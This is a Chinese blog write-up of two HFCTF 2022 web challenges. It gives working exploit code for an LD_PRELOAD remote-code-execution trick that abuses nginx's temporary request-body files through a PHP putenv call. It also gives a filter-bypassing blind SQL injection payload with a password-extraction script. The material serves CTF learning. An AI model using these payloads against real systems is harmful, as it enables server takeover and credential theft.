HFCTF 两道有趣的web题


HFCTF 两道有趣的web题

其实就是我太菜了

ezphp

题目

Dockerfile

FROM php:7.4.28-fpm-buster

LABEL Maintainer="yxxx"
ENV REFRESHED_AT 2022-03-14
ENV LANG C.UTF-8

RUN sed -i 's/http:\/\/security.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
RUN sed -i 's/http:\/\/deb.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
RUN apt upgrade -y && \
    apt update -y && \
    apt install nginx -y

ENV DEBIAN_FRONTEND noninteractive

COPY index.php /var/www/html
COPY default.conf /etc/nginx/sites-available/default
COPY flag /flag

EXPOSE 80

CMD php-fpm -D && nginx -g 'daemon off;'

index.php

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

分析

给了 docker,可以自行调试

index.php可以设置一个环境变量,最常用的办法其实就是LD_PRELOAD,但是题目没直接给上传点,用php post传的文件名不可控,从/proc/x/fd/x爆破也读不到,所以感觉不太行。

然后根据这篇文章照着稍微审了一下dash echo源码,也没发现什么办法

https://tttang.com/archive/1450/

想到 hxpctf 有一种思路,nginx处理大的请求包时,会将请求存到临时文件的在本地题目环境中确实发现 /var/lib/nginx/body/ 是有缓存的,文件名是可以按编号爆出来的

https://tttang.com/archive/1384/

经过测试,在.so文件后加上\x00,并不会对执行造成影响

所以基本思路是上传一个大的请求包(.so),然后LD_PRELOAD该请求的缓存文件即可造成RCE

做题

.so制作过程省略,这里直接写 cat /flag 就行

用下面的代码即可发包,这里请求设置成500KB,原来的so文件80kb,没缓存,再大了就419

import requests

import io

session = requests.session()
proxies = {
    "http": "http://127.0.0.1:8084",
    "https": "http://127.0.0.1:8084"
}
f = open('1.so', 'rb')
r = session.post('http://192.168.195.185:30024/index.php?env=LD_PRELOAD%3d/var/lib/nginx/body/0000000001', data=f.read() + b'\x00' * 400 * 1024,proxies=proxies)
print(r.text)

然后在docker开监控,简单记录一下命令

# 起docker的时候需要给sys_ptrace
docker run -d --cap-add LINUX_IMMUTABLE --cap-add sys_ptrace -p 50003:80 hfctf_ezphp

# 精简镜像中缺vim top 装上方便调试,剩下一个监控进程操作,一个监控文件 
apt install strace inotify-tools vim htop

# 监控根目录文件操作
inotifywait -mrq -e 'create,delete,close_write,attrib,moved_to' --timefmt '%Y-%m-%d %H:%M' --format '%T %w%f %e' /

然后发现这个缓存文件确实是在php脚本执行结束之后才删除的

本地按编号直接读是可以出flag的,远程打不通,估计远程id不是从01开始

因为会被删除,所以也可以直接爆nginx 工作进程的 /proc/x/fd/xx

进程号一般是 8-20 fd 0-30就可以出了

babysql

注入 很恶心

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

过滤了很多 没法用函数 空格不好绕

大概是要盲注 然后用 case when的错误注入

调了很久用科学计数法绕了一半 用单反引号绕了一半

大致payload如下

username=1'||case+1E0when`password`regexp'^m52fpldxyylb.eizar.8gxh.$'then+1E0else+!0E0+~0+!0E0end||'0&password=6878

脚本能注出账号和密码

用户
qay8tefyzc67aeoo

密码
m52fpldxyylb.eizar.8gxh.

点代表某个特殊字符 不区分大小写

因为regexp和like默认不区分大小写 所以找个能区分的办法

在文档里看到了

https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html

mysql> SELECT 'abc' LIKE 'ABC';
        -> 1
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
        -> 0
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
        -> 0
mysql> SELECT 'abc' LIKE BINARY 'ABC';
        -> 0

加了引号套了一下就能得到带大小写的了

m52FPlDxYyLB.eIzAr!8gxh.

剩下两个点直接爆破一下就行了

import requests
import time

session = requests.session()

burp0_url = "http://xxxx/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0",
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
                 "Content-Type": "application/x-www-form-urlencoded",
                 "Upgrade-Insecure-Requests": "1"}

alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
            'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C',
            'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
            'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!',  '[', ']', '{', '}', '_', '/',  '&', "%", '@','.','#','|','-', ]
password = '^'

while True:
    for i in alphabet:
        burp0_data = {"username": f"1'||case+1E0when`password`regexp'{password + i}'COLLATE'utf8mb4_bin'then+1E0else+!0E0+~0+!0E0end||'0", "password": "6878"}
        r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxies)
        if r.status_code == 401:
            print(i)
            password += i
            break
        time.sleep(0.3)
    print(password.replace('^', ''))

最后登录直接or 1=1就行了 特殊符号爆破一下

参考

https://tttang.com/archive/1450/

https://tttang.com/archive/1384/


文章作者: Carrot2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Carrot2 !
评论
  目录